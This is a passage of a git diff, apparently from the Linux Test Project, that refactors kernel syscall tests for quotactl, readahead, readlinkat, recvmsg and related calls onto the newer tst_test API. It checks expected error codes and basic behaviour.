(CAP_SYS_ADMIN) for the specified - * operation + * - ESRCH when cmd is Q_GETNEXTQUOTA, but there is no ID greater than or + * equal to id that has an active quota + * - ERANGE when cmd is Q_SETQUOTA, but the specified limits are out of the + * range allowed by the quota format + * - EPERM when the caller lacked the required privilege (CAP_SYS_ADMIN) for + * the specified operation * - * For ERANGE error, the vfsv0 and vfsv1 format's maximum quota limit setting have been - * fixed since the following kernel patch: + * For ERANGE error, the vfsv0 and vfsv1 format's maximum quota limit setting + * have been fixed since the following kernel patch: * * commit 7e08da50cf706151f324349f9235ebd311226997 * Author: Jan Kara @@ -135,10 +136,13 @@ static void verify_quotactl(unsigned int n) } if (tc->on_flag) { - TST_EXP_PASS_SILENT(quotactl(QCMD(Q_QUOTAON, USRQUOTA), tst_device->dev, - fmt_id, usrpath), "quotactl with Q_QUOTAON"); + TST_EXP_PASS_SILENT(quotactl(QCMD(Q_QUOTAON, USRQUOTA), + tst_device->dev, fmt_id, usrpath), + "quotactl with Q_QUOTAON"); + if (!TST_PASS) return; + quota_on = 1; } @@ -147,16 +151,19 @@ static void verify_quotactl(unsigned int n) drop_flag = 1; } - if (tc->exp_err == ENOTBLK) + if (tc->exp_err == ENOTBLK) { TST_EXP_FAIL(quotactl(tc->cmd, "/dev/null", *tc->id, tc->addr), ENOTBLK, "quotactl()"); - else - TST_EXP_FAIL(quotactl(tc->cmd, tst_device->dev, *tc->id, tc->addr), - tc->exp_err, "quotactl()"); + } else { + TST_EXP_FAIL(quotactl(tc->cmd, tst_device->dev, *tc->id, + tc->addr), tc->exp_err, "quotactl()"); + } if (quota_on) { - TST_EXP_PASS_SILENT(quotactl(QCMD(Q_QUOTAOFF, USRQUOTA), tst_device->dev, - fmt_id, usrpath), "quotactl with Q_QUOTAOFF"); + TST_EXP_PASS_SILENT(quotactl(QCMD(Q_QUOTAOFF, USRQUOTA), + tst_device->dev, fmt_id, usrpath), + "quotactl with Q_QUOTAOFF"); + if (!TST_PASS) return; } @@ -169,7 +176,9 @@ static void setup(void) { unsigned int i; const struct quotactl_fmt_variant *var = &fmt_variants[tst_variant]; - const char *const cmd[] = {"quotacheck", "-ugF", var->fmt_name, MNTPOINT, NULL}; + const char *const cmd[] = { + "quotacheck", "-ugF", var->fmt_name, MNTPOINT, NULL + }; tst_res(TINFO, "quotactl() with %s format", var->fmt_name); SAFE_CMD(cmd, NULL, NULL); @@ -177,10 +186,7 @@ static void setup(void) /* vfsv0 block limit 2^42, vfsv1 block limit 2^63 - 1 */ set_dqmax.dqb_bsoftlimit = tst_variant ? 0x20000000000000 : 0x100000000; - if (access(USRPATH, F_OK) == -1) - tst_brk(TFAIL | TERRNO, "user quotafile didn't exist"); - - tst_require_quota_support(tst_device->dev, fmt_id, usrpath); + SAFE_ACCESS(USRPATH, F_OK); SAFE_MKDIR(TESTDIR1, 0666); @@ -197,15 +203,18 @@ static void setup(void) static void cleanup(void) { - SAFE_UNLINK(USRPATH); - SAFE_RMDIR(TESTDIR1); + if (!access(USRPATH, F_OK)) + SAFE_UNLINK(USRPATH); + + if (!access(TESTDIR1, F_OK)) + SAFE_RMDIR(TESTDIR1); } static struct tst_test test = { .setup = setup, .cleanup = cleanup, - .needs_kconfigs = (const char *[]) { - "CONFIG_QFMT_V2", + .needs_drivers = (const char *const []) { + "quota_v2", NULL }, .tcnt = ARRAY_SIZE(tcases), diff --git a/testcases/kernel/syscalls/quotactl/quotactl08.c b/testcases/kernel/syscalls/quotactl/quotactl08.c index 3793867f..0fabb51a 100755 --- a/testcases/kernel/syscalls/quotactl/quotactl08.c +++ b/testcases/kernel/syscalls/quotactl/quotactl08.c @@ -28,6 +28,7 @@ * - turn off quota with Q_QUOTAOFF flag for group * * It is similar to quotactl01.c, only two difference + * * - use new quotactl_fd syscalls if supports * - quota file hidden in filesystem * @@ -208,8 +209,8 @@ static void verify_quota(unsigned int n) static struct tst_test test = { .needs_root = 1, - .needs_kconfigs = (const char *[]) { - "CONFIG_QFMT_V2", + .needs_drivers = (const char *const []) { + "quota_v2", NULL }, .test = verify_quota, diff --git a/testcases/kernel/syscalls/quotactl/quotactl09.c b/testcases/kernel/syscalls/quotactl/quotactl09.c index 8b959909..9a03bff5 100755 --- a/testcases/kernel/syscalls/quotactl/quotactl09.c +++ b/testcases/kernel/syscalls/quotactl/quotactl09.c @@ -170,8 +170,8 @@ static void cleanup(void) static struct tst_test test = { .setup = setup, .cleanup = cleanup, - .needs_kconfigs = (const char *[]) { - "CONFIG_QFMT_V2", + .needs_drivers = (const char *const []) { + "quota_v2", NULL }, .tcnt = ARRAY_SIZE(tcases), diff --git a/testcases/kernel/syscalls/read/read01.c b/testcases/kernel/syscalls/read/read01.c index 0bae2ee2..68d6346c 100755 --- a/testcases/kernel/syscalls/read/read01.c +++ b/testcases/kernel/syscalls/read/read01.c @@ -28,7 +28,7 @@ static void setup(void) { memset(buf, '*', SIZE); fd = SAFE_OPEN("testfile", O_RDWR | O_CREAT, 0700); - SAFE_WRITE(1, fd, buf, SIZE); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, SIZE); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/read/read04.c b/testcases/kernel/syscalls/read/read04.c index 47875c03..154cbf47 100755 --- a/testcases/kernel/syscalls/read/read04.c +++ b/testcases/kernel/syscalls/read/read04.c @@ -49,7 +49,7 @@ static void setup(void) int fd; fd = SAFE_CREAT(fname, 0777); - SAFE_WRITE(1, fd, palfa, PALFA_LEN); + SAFE_WRITE(SAFE_WRITE_ALL, fd, palfa, PALFA_LEN); SAFE_CLOSE(fd); } diff --git a/testcases/kernel/syscalls/readahead/readahead01.c b/testcases/kernel/syscalls/readahead/readahead01.c index a0be9606..bdef7945 100755 --- a/testcases/kernel/syscalls/readahead/readahead01.c +++ b/testcases/kernel/syscalls/readahead/readahead01.c @@ -3,8 +3,14 @@ * Copyright (C) 2012 Linux Test Project, Inc. */ -/* - * errno tests for readahead() syscall +/*\ + * [Description] + * + * Verify that readahead() syscall fails with: + * + * - EBADF when fd is not a valid file descriptor or is not open for reading. + * - EINVAL when fd does not refer to a file type to which readahead() + * can be applied. */ #define _GNU_SOURCE #include @@ -21,52 +27,22 @@ #include "lapi/syscalls.h" #if defined(__NR_readahead) -static void check_ret(long expected_ret) -{ - if (expected_ret == TST_RET) { - tst_res(TPASS, "expected ret success - " - "returned value = %ld", TST_RET); - return; - } - tst_res(TFAIL, "unexpected failure - " - "returned value = %ld, expected: %ld", - TST_RET, expected_ret); -} - -static void check_errno(long expected_errno) -{ - if (TST_ERR == expected_errno) { - tst_res(TPASS | TTERRNO, "expected failure"); - return; - } - - if (TST_ERR == 0) - tst_res(TFAIL, "call succeeded unexpectedly"); - else - tst_res(TFAIL | TTERRNO, "unexpected failure - " - "expected = %ld : %s, actual", - expected_errno, strerror(expected_errno)); -} static void test_bad_fd(void) { char tempname[PATH_MAX] = "readahead01_XXXXXX"; int fd; - tst_res(TINFO, "test_bad_fd -1"); - TEST(readahead(-1, 0, getpagesize())); - check_ret(-1); - check_errno(EBADF); + tst_res(TINFO, "%s -1", __func__); + TST_EXP_FAIL(readahead(-1, 0, getpagesize()), EBADF); - tst_res(TINFO, "test_bad_fd O_WRONLY"); + tst_res(TINFO, "%s O_WRONLY", __func__); fd = mkstemp(tempname); if (fd == -1) tst_res(TFAIL | TERRNO, "mkstemp failed"); SAFE_CLOSE(fd); fd = SAFE_OPEN(tempname, O_WRONLY); - TEST(readahead(fd, 0, getpagesize())); - check_ret(-1); - check_errno(EBADF); + TST_EXP_FAIL(readahead(fd, 0, getpagesize()), EBADF); SAFE_CLOSE(fd); unlink(tempname); } @@ -75,23 +51,19 @@ static void test_invalid_fd(void) { int fd[2]; - tst_res(TINFO, "test_invalid_fd pipe"); + tst_res(TINFO, "%s pipe", __func__); SAFE_PIPE(fd); - TEST(readahead(fd[0], 0, getpagesize())); - check_ret(-1); - check_errno(EINVAL); + TST_EXP_FAIL(readahead(fd[0], 0, getpagesize()), EINVAL); SAFE_CLOSE(fd[0]); SAFE_CLOSE(fd[1]); - tst_res(TINFO, "test_invalid_fd socket"); + tst_res(TINFO, "%s socket", __func__); fd[0] = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); - TEST(readahead(fd[0], 0, getpagesize())); - check_ret(-1); - check_errno(EINVAL); + TST_EXP_FAIL(readahead(fd[0], 0, getpagesize()), EINVAL); SAFE_CLOSE(fd[0]); } -void test_readahead(void) +static void test_readahead(void) { test_bad_fd(); test_invalid_fd(); diff --git a/testcases/kernel/syscalls/readahead/readahead02.c b/testcases/kernel/syscalls/readahead/readahead02.c index 4fa8cfaf..dc03c593 100755 --- a/testcases/kernel/syscalls/readahead/readahead02.c +++ b/testcases/kernel/syscalls/readahead/readahead02.c @@ -38,7 +38,9 @@ static char testfile[PATH_MAX] = "testfile"; #define DROP_CACHES_FNAME "/proc/sys/vm/drop_caches" #define MEMINFO_FNAME "/proc/meminfo" #define PROC_IO_FNAME "/proc/self/io" -static size_t testfile_size = 64 * 1024 * 1024; +#define DEFAULT_FILESIZE (64 * 1024 * 1024) + +static size_t testfile_size = DEFAULT_FILESIZE; static char *opt_fsizestr; static int pagesize; static unsigned long cached_max; @@ -67,7 +69,7 @@ static struct tcase { int use_overlay; int use_fadvise; /* Use either readahead() syscall or POSIX_FADV_WILLNEED */ - int (*readahead)(int, off_t, size_t); + int (*readahead)(int fd, off_t offset, size_t len); } tcases[] = { { "readahead on file", 0, 0, libc_readahead }, { "readahead on overlayfs file", 1, 0, libc_readahead }, @@ -131,7 +133,7 @@ static void create_testfile(int use_overlay) fd = SAFE_CREAT(testfile, 0644); for (i = 0; i < testfile_size; i += pagesize) - SAFE_WRITE(1, fd, tmp, pagesize); + SAFE_WRITE(SAFE_WRITE_ALL, fd, tmp, pagesize); SAFE_FSYNC(fd); SAFE_CLOSE(fd); free(tmp); @@ -221,8 +223,7 @@ static void test_readahead(unsigned int n) tst_res(TINFO, "Test #%d: %s", n, tc->tname); if (tc->use_overlay && !ovl_mounted) { - tst_res(TCONF, - "overlayfs is not configured in this kernel."); + tst_res(TCONF, "overlayfs is not configured in this kernel"); return; } @@ -250,7 +251,7 @@ static void test_readahead(unsigned int n) cached_low = get_cached_size(); tst_res(TINFO, "read_testfile(1)"); ret = read_testfile(tc, 1, testfile, testfile_size, &read_bytes_ra, - &usec_ra, &cached_ra); + &usec_ra, &cached_ra); if (ret == EINVAL) { if (tc->use_fadvise && @@ -317,6 +318,19 @@ static void test_readahead(unsigned int n) tst_res(TCONF, "Page cache on your system is too small " "to hold whole testfile."); } + + /* + * The time consuming of readahead quite depending on the platform IO + * speed, sometime test timeout when the default max_runtime is used up. + * + * readahead02.c:221: TINFO: Test #2: POSIX_FADV_WILLNEED on file + * readahead02.c:285: TINFO: read_testfile(0) took: 26317623 usec + * readahead02.c:286: TINFO: read_testfile(1) took: 26101484 usec + * + * Here raise the maximum runtime dynamically. + */ + if ((tc+1)->readahead) + tst_set_max_runtime(test.max_runtime + (usec + usec_ra) / 1000000); } @@ -351,7 +365,7 @@ static void setup_readahead_length(void) /* raise bdi limit as much as kernel allows */ ra_new_limit = testfile_size / 1024; while (ra_new_limit > pagesize / 1024) { - FILE_PRINTF(sys_bdi_ra_path, "%d", ra_new_limit); + SAFE_FILE_PRINTF(sys_bdi_ra_path, "%d", ra_new_limit); SAFE_FILE_SCANF(sys_bdi_ra_path, "%d", &ra_limit); if (ra_limit == ra_new_limit) { @@ -365,8 +379,10 @@ static void setup_readahead_length(void) static void setup(void) { - if (opt_fsizestr) + if (opt_fsizestr) { testfile_size = SAFE_STRTOL(opt_fsizestr, 1, INT_MAX); + tst_set_max_runtime(1 + testfile_size / (DEFAULT_FILESIZE/32)); + } if (access(PROC_IO_FNAME, F_OK)) tst_brk(TCONF, "Requires " PROC_IO_FNAME); @@ -406,6 +422,7 @@ static struct tst_test test = { }, .test = test_readahead, .tcnt = ARRAY_SIZE(tcases), + .max_runtime = 30, .tags = (const struct tst_tag[]) { {"linux-git", "b833a3660394"}, {"linux-git", "5b910bd615ba"}, diff --git a/testcases/kernel/syscalls/readdir/readdir01.c b/testcases/kernel/syscalls/readdir/readdir01.c index e90f50c8..1bf70fd1 100755 --- a/testcases/kernel/syscalls/readdir/readdir01.c +++ b/testcases/kernel/syscalls/readdir/readdir01.c @@ -34,7 +34,7 @@ static void setup(void) for (i = 0; i < nfiles; i++) { sprintf(fname, "%s_%d", prefix, i); fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700); - SAFE_WRITE(1, fd, "hello\n", 6); + SAFE_WRITE(SAFE_WRITE_ALL, fd, "hello\n", 6); SAFE_CLOSE(fd); } } @@ -59,6 +59,8 @@ static void verify_readdir(void) tst_res(TFAIL, "found %s files than were created, created: %d, found: %d", cnt > nfiles ? "more" : "less", nfiles, cnt); } + + SAFE_CLOSEDIR(test_dir); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/readlinkat/readlinkat01.c b/testcases/kernel/syscalls/readlinkat/readlinkat01.c index 985890eb..b1214c3a 100755 --- a/testcases/kernel/syscalls/readlinkat/readlinkat01.c +++ b/testcases/kernel/syscalls/readlinkat/readlinkat01.c @@ -1,143 +1,103 @@ -/****************************************************************************** - * +// SPDX-License-Identifier: GPL-2.0-or-later +/* * Copyright (c) International Business Machines Corp., 2006 - * Author: Yi Yang * Copyright (c) Cyril Hrubis 2014 + * Copyright (c) Linux Test Project, 2003-2023 + * Author: Yi Yang + */ + +/*\ + * [Description] * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - * - * This test case will verify basic function of readlinkat - * added by kernel 2.6.16 or up. + * Check the basic functionality of the readlinkat() system call. * - *****************************************************************************/ + * - readlinkat() passes if dirfd is directory file descriptor + * and the pathname is relative. + * - readlinkat() passes if the pathname is abspath, then dirfd + * is ignored. + * - readlinkat() passes if dirfd is the special value AT_FDCWD + * and the pathname is relative. + * - readlinkat() passes if pathname is an empty string, in which + * case the call operates on the symbolic link referred to by dirfd. + */ -#define _GNU_SOURCE - -#include -#include -#include -#include #include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" -#include "lapi/readlinkat.h" - -static void setup(void); -static void cleanup(void); +#include +#include "tst_test.h" +#include "lapi/fcntl.h" -char *TCID = "readlinkat01"; +#define TEST_FILE "readlink_file" +#define TEST_SYMLINK "readlink_symlink" -static int dir_fd, fd; -static int fd_invalid = 100; +static int file_fd, dir_fd, dir_fd2; static int fd_atcwd = AT_FDCWD; - -#define TEST_SYMLINK "readlink_symlink" -#define TEST_FILE "readlink_file" - -static char abspath[1024]; - -static struct test_case { - int *dir_fd; - const char *path; - const char *exp_buf; - int exp_ret; - int exp_errno; -} test_cases[] = { - {&dir_fd, TEST_SYMLINK, TEST_FILE, sizeof(TEST_FILE)-1, 0}, - {&dir_fd, abspath, TEST_FILE, sizeof(TEST_FILE)-1, 0}, - {&fd, TEST_SYMLINK, NULL, -1, ENOTDIR}, - {&fd_invalid, TEST_SYMLINK, NULL, -1, EBADF}, - {&fd_atcwd, TEST_SYMLINK, TEST_FILE, sizeof(TEST_FILE)-1, 0}, +static const char *abspath; +static const char *testsymlink; +static const char *emptypath; + +static struct tcase { + int *fd; + const char **path; +} tcases[] = { + {&dir_fd, &testsymlink}, + {&dir_fd, &abspath}, + {&file_fd, &abspath}, + {&fd_atcwd, &abspath}, + {&fd_atcwd, &testsymlink}, + {&dir_fd2, &emptypath}, }; -int TST_TOTAL = ARRAY_SIZE(test_cases); - -static void verify_readlinkat(struct test_case *test) +static void verify_readlinkat(unsigned int i) { char buf[1024]; + struct tcase *tc = &tcases[i]; memset(buf, 0, sizeof(buf)); - TEST(readlinkat(*test->dir_fd, test->path, buf, sizeof(buf))); - - if (TEST_RETURN != test->exp_ret) { - tst_resm(TFAIL | TTERRNO, - "readlinkat() returned %ld, expected %d", - TEST_RETURN, test->exp_ret); - return; - } - - if (TEST_ERRNO != test->exp_errno) { - tst_resm(TFAIL | TTERRNO, - "readlinkat() returned %ld, expected %d", - TEST_RETURN, test->exp_ret); - return; - } - - if (test->exp_ret > 0 && strcmp(test->exp_buf, buf)) { - tst_resm(TFAIL, "Unexpected buffer have '%s', expected '%s'", - buf, test->exp_buf); - return; - } - - tst_resm(TPASS | TTERRNO, "readlinkat() returned %ld", TEST_RETURN); -} - -int main(int ac, char **av) -{ - int lc; - int i; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); + TST_EXP_POSITIVE(readlinkat(*tc->fd, *tc->path, buf, sizeof(buf)), + "readlinkat(%d, %s, %s, %ld)", + *tc->fd, *tc->path, buf, sizeof(buf)); - for (lc = 0; TEST_LOOPING(lc); lc++) { - for (i = 0; i < TST_TOTAL; i++) - verify_readlinkat(&test_cases[i]); - } - - cleanup(); - tst_exit(); + if (strcmp(buf, TEST_FILE) == 0) + tst_res(TPASS, "The filename in buffer is correct"); + else + tst_res(TFAIL, "Wrong filename in buffer '%s'", buf); } static void setup(void) { - tst_tmpdir(); char *tmpdir = tst_get_tmpdir(); - snprintf(abspath, sizeof(abspath), "%s/" TEST_SYMLINK, tmpdir); + abspath = tst_aprintf("%s/" TEST_SYMLINK, tmpdir); free(tmpdir); - fd = SAFE_OPEN(cleanup, TEST_FILE, O_CREAT, 0600); - SAFE_SYMLINK(cleanup, TEST_FILE, TEST_SYMLINK); - dir_fd = SAFE_OPEN(cleanup, ".", O_DIRECTORY); - - TEST_PAUSE; + file_fd = SAFE_OPEN(TEST_FILE, O_CREAT, 0600); + SAFE_SYMLINK(TEST_FILE, TEST_SYMLINK); + dir_fd = SAFE_OPEN(".", O_DIRECTORY); + dir_fd2 = SAFE_OPEN(TEST_SYMLINK, O_PATH | O_NOFOLLOW); } static void cleanup(void) { - if (fd > 0 && close(fd)) - tst_resm(TWARN | TERRNO, "Failed to close fd"); + if (file_fd > -1) + SAFE_CLOSE(file_fd); - if (dir_fd > 0 && close(dir_fd)) - tst_resm(TWARN | TERRNO, "Failed to close dir_fd"); + if (dir_fd > -1) + SAFE_CLOSE(dir_fd); - tst_rmdir(); + if (dir_fd2 > -1) + SAFE_CLOSE(dir_fd2); } + +static struct tst_test test = { + .test = verify_readlinkat, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .bufs = (struct tst_buffers []) { + {&testsymlink, .str = TEST_SYMLINK}, + {&emptypath, .str = ""}, + {}, + }, + .tcnt = ARRAY_SIZE(tcases), +}; diff --git a/testcases/kernel/syscalls/readlinkat/readlinkat02.c b/testcases/kernel/syscalls/readlinkat/readlinkat02.c index d30c1917..64afb898 100755 --- a/testcases/kernel/syscalls/readlinkat/readlinkat02.c +++ b/testcases/kernel/syscalls/readlinkat/readlinkat02.c @@ -1,122 +1,85 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2014 Fujitsu Ltd. + * Copyright (c) Linux Test Project, 2003-2023 * Author: Zeng Linggang + */ + +/*\ + * [Description] * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. + * - readlinkat() fails with EINVAL if the bufsiz is 0. * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Library General Public License for more details. + * - readlinkat() fails with EINVAL if the named file is not a symbolic link. * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * - readlinkat() fails with ENOTDIR if the component of the path prefix is + * not a directory. * - */ -/* - * Test Description: - * Verify that, - * 1. bufsiz is 0, EINVAL should be returned. - * 2. The named file is not a symbolic link, EINVAL should be returned. - * 3. The component of the path prefix is not a directory, ENOTDIR should be - * returned. - * 4. pathname is relative and dirfd is a file descriptor referring to a file - * other than a directory, ENOTDIR should be returned. + * - readlinkat() fails with ENOTDIR if the pathname is relative and + * dirfd is a file descriptor referring to a file other than a directory. + * + * - readlinkat() fails with EBADF if the file descriptor is invalid. + * + * - readlinkat() fails with ENOENT when the pathname does not exists. */ -#include -#include -#include - -#include "test.h" -#include "safe_macros.h" -#include "lapi/readlinkat.h" -#include "lapi/syscalls.h" +#include "tst_test.h" #define TEST_FILE "test_file" #define SYMLINK_FILE "symlink_file" #define BUFF_SIZE 256 static int file_fd, dir_fd; +static int fd_invalid = -1; -static struct test_case_t { - int *dirfd; +static struct tcase { + int *fd; const char *pathname; size_t bufsiz; int exp_errno; -} test_cases[] = { +} tcases[] = { {&dir_fd, SYMLINK_FILE, 0, EINVAL}, {&dir_fd, TEST_FILE, BUFF_SIZE, EINVAL}, {&file_fd, SYMLINK_FILE, BUFF_SIZE, ENOTDIR}, {&dir_fd, "test_file/test_file", BUFF_SIZE, ENOTDIR}, + {&fd_invalid, SYMLINK_FILE, BUFF_SIZE, EBADF}, + {&dir_fd, "does_not_exists", BUFF_SIZE, ENOENT}, }; -char *TCID = "readlinkat02"; -int TST_TOTAL = ARRAY_SIZE(test_cases); -static void setup(void); -static void cleanup(void); -static void readlinkat_verify(const struct test_case_t *); - -int main(int argc, char **argv) +static void verify_readlinkat(unsigned int i) { - int i, lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); + char buf[BUFF_SIZE]; + struct tcase *tc = &tcases[i]; - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - for (i = 0; i < TST_TOTAL; i++) - readlinkat_verify(&test_cases[i]); - } + memset(buf, 0, sizeof(buf)); - cleanup(); - tst_exit(); + TST_EXP_FAIL(readlinkat(*tc->fd, tc->pathname, buf, tc->bufsiz), + tc->exp_errno, "readlinkat(%d, %s, NULL, %ld)", + *tc->fd, tc->pathname, tc->bufsiz); } static void setup(void) { - tst_sig(NOFORK, DEF_HANDLER, cleanup); + dir_fd = SAFE_OPEN(".", O_RDONLY); - TEST_PAUSE; + file_fd = SAFE_OPEN(TEST_FILE, O_RDWR | O_CREAT, 0644); - tst_tmpdir(); - - dir_fd = SAFE_OPEN(cleanup, "./", O_RDONLY); - - file_fd = SAFE_OPEN(cleanup, TEST_FILE, O_RDWR | O_CREAT, 0644); - - SAFE_SYMLINK(cleanup, TEST_FILE, SYMLINK_FILE); -} - -static void readlinkat_verify(const struct test_case_t *test) -{ - char buf[BUFF_SIZE]; - TEST(readlinkat(*test->dirfd, test->pathname, buf, test->bufsiz)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "readlinkat succeeded unexpectedly"); - return; - } - - if (TEST_ERRNO == test->exp_errno) { - tst_resm(TPASS | TTERRNO, "readlinkat failed as expected"); - } else { - tst_resm(TFAIL | TTERRNO, - "readlinkat failed unexpectedly; expected: %d - %s", - test->exp_errno, strerror(test->exp_errno)); - } + SAFE_SYMLINK(TEST_FILE, SYMLINK_FILE); } static void cleanup(void) { - close(dir_fd); - close(file_fd); + if (file_fd > -1) + SAFE_CLOSE(file_fd); - tst_rmdir(); + if (dir_fd > -1) + SAFE_CLOSE(dir_fd); } + +static struct tst_test test = { + .test = verify_readlinkat, + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .tcnt = ARRAY_SIZE(tcases), +}; diff --git a/testcases/kernel/syscalls/readv/readv01.c b/testcases/kernel/syscalls/readv/readv01.c index f12b3f09..334faf38 100755 --- a/testcases/kernel/syscalls/readv/readv01.c +++ b/testcases/kernel/syscalls/readv/readv01.c @@ -93,7 +93,7 @@ static void setup(void) memset(buf, 0x42, sizeof(buf)); fd = SAFE_OPEN("data_file", O_WRONLY | O_CREAT | O_TRUNC, 0666); - SAFE_WRITE(1, fd, buf, sizeof(buf)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, sizeof(buf)); SAFE_CLOSE(fd); fd = SAFE_OPEN("data_file", O_RDONLY); } @@ -110,7 +110,6 @@ static struct tst_test test = { .test = test_readv, .tcnt = ARRAY_SIZE(testcase_list), .needs_tmpdir = 1, - .timeout = 15, .tags = (const struct tst_tag[]) { {"linux-git", "19f18459330f"}, {} diff --git a/testcases/kernel/syscalls/recvmsg/recvmsg01.c b/testcases/kernel/syscalls/recvmsg/recvmsg01.c index 13bcaa4e..80c1b3aa 100755 --- a/testcases/kernel/syscalls/recvmsg/recvmsg01.c +++ b/testcases/kernel/syscalls/recvmsg/recvmsg01.c @@ -1,361 +1,356 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) 2001 Wayne Boyer International Business Machines + * Copyright (c) Linux Test Project, 2002-2022 + * Copyright (c) 2023 Wei Gao */ -/* - * Test Name: recvmsg01 - * - * Test Description: - * Verify that recvmsg() returns the proper errno for various failure cases - * - * Usage: - * recvmsg01 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS: - * None. +/*\ + * [Description] * + * Verify that recvmsg() returns the proper errno for various failure cases. */ #include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -#include - -#include "test.h" -#include "safe_macros.h" - -char *TCID = "recvmsg01"; -int testno; - -char buf[1024], cbuf[1024]; -int s; /* socket descriptor */ -int passed_fd = -1; /* rights-passing test descriptor */ -struct sockaddr_in sin1, from; -struct sockaddr_un sun1; -struct msghdr msgdat; -struct cmsghdr *control = 0; -int controllen = 0; -struct iovec iov[1]; +#include +#include +#include "tst_test.h" + +#define MSG "from recvmsg01 server" +#define BUF_SIZE 1024 +#define CONTROL_LEN (128 * 1024) + +static char recv_buf[BUF_SIZE], cbuf[BUF_SIZE]; +static int sock; +static struct sockaddr_in sin1, from; +static struct sockaddr_un sun1; +static struct msghdr msgdat; +static struct cmsghdr *control; +static int controllen; +static struct iovec iov[1]; static int sfd; /* shared between do_child and start_server */ static int ufd; /* shared between do_child and start_server */ - -void setup(void); -void setup0(void); -void setup1(void); -void setup2(void); -void setup3(void); -void setup4(void); -void cleanup(void); -void cleanup0(void); -void cleanup1(void); -void cleanup2(void); -void do_child(void); - -void sender(int); -pid_t start_server(struct sockaddr_in *, struct sockaddr_un *); - -struct test_case_t { /* test case structure */ - int domain; /* PF_INET, PF_UNIX, ... */ - int type; /* SOCK_STREAM, SOCK_DGRAM ... */ - int proto; /* protocol number (usually 0 = default) */ +static pid_t pid; +static char tmpsunpath[BUF_SIZE]; + +static void setup_all(void); +static void setup_invalid_sock(int); +static void setup_valid_sock(int); +static void setup_valid_msg_control(int); +static void setup_large_msg_control(int); +static void cleanup_all(void); +static void cleanup_invalid_sock(int); +static void cleanup_close_sock(int); +static void cleanup_reset_all(int); +static void do_child(void); +static pid_t start_server(struct sockaddr_in *, struct sockaddr_un *); + +static struct tcase { + int domain; + int type; + int protocol; struct iovec *iov; int iovcnt; - void *buf; /* recv data buffer */ - int buflen; /* recv buffer length */ + void *recv_buf; + int buflen; struct msghdr *msg; - unsigned flags; - struct sockaddr *from; /* from address */ - int fromlen; /* from address value/result buffer length */ - int retval; /* syscall return value */ - int experrno; /* expected errno */ - void (*setup) (void); - void (*cleanup) (void); + unsigned int flags; + struct sockaddr *from; + int fromlen; + int exp_errno; + void (*setup)(int n); + void (*cleanup)(int n); char *desc; -} tdat[] = { -/* 1 */ - { - PF_INET, SOCK_STREAM, 0, iov, 1, buf, sizeof(buf), &msgdat, 0, - (struct sockaddr *)&from, sizeof(from), - -1, EBADF, setup0, cleanup0, "bad file descriptor"} - , -/* 2 */ - { - 0, 0, 0, iov, 1, (void *)buf, sizeof(buf), &msgdat, 0, - (struct sockaddr *)&from, sizeof(from), - -1, ENOTSOCK, setup0, cleanup0, "invalid socket"} - , -/* 3 */ +} tcases[] = { { - PF_INET, SOCK_STREAM, 0, iov, 1, (void *)buf, sizeof(buf), - &msgdat, 0, (struct sockaddr *)-1, sizeof(from), 0, - ENOTSOCK, setup1, cleanup1, "invalid socket buffer"} - , -/* 4 */ + .domain = PF_INET, + .type = SOCK_STREAM, + .iov = iov, + .iovcnt = 1, + .recv_buf = recv_buf, + .buflen = sizeof(recv_buf), + .msg = &msgdat, + .from = (struct sockaddr *)&from, + .fromlen = sizeof(from), + .exp_errno = EBADF, + .setup = setup_invalid_sock, + .cleanup = cleanup_invalid_sock, + .desc = "bad file descriptor", + }, { - PF_INET, SOCK_STREAM, 0, iov, 1, (void *)buf, sizeof(buf), - &msgdat, -1, (struct sockaddr *)&from, -1, -1, - EINVAL, setup1, cleanup1, "invalid socket length"}, -/* 5 */ + .domain = PF_INET, + .type = SOCK_STREAM, + .iov = 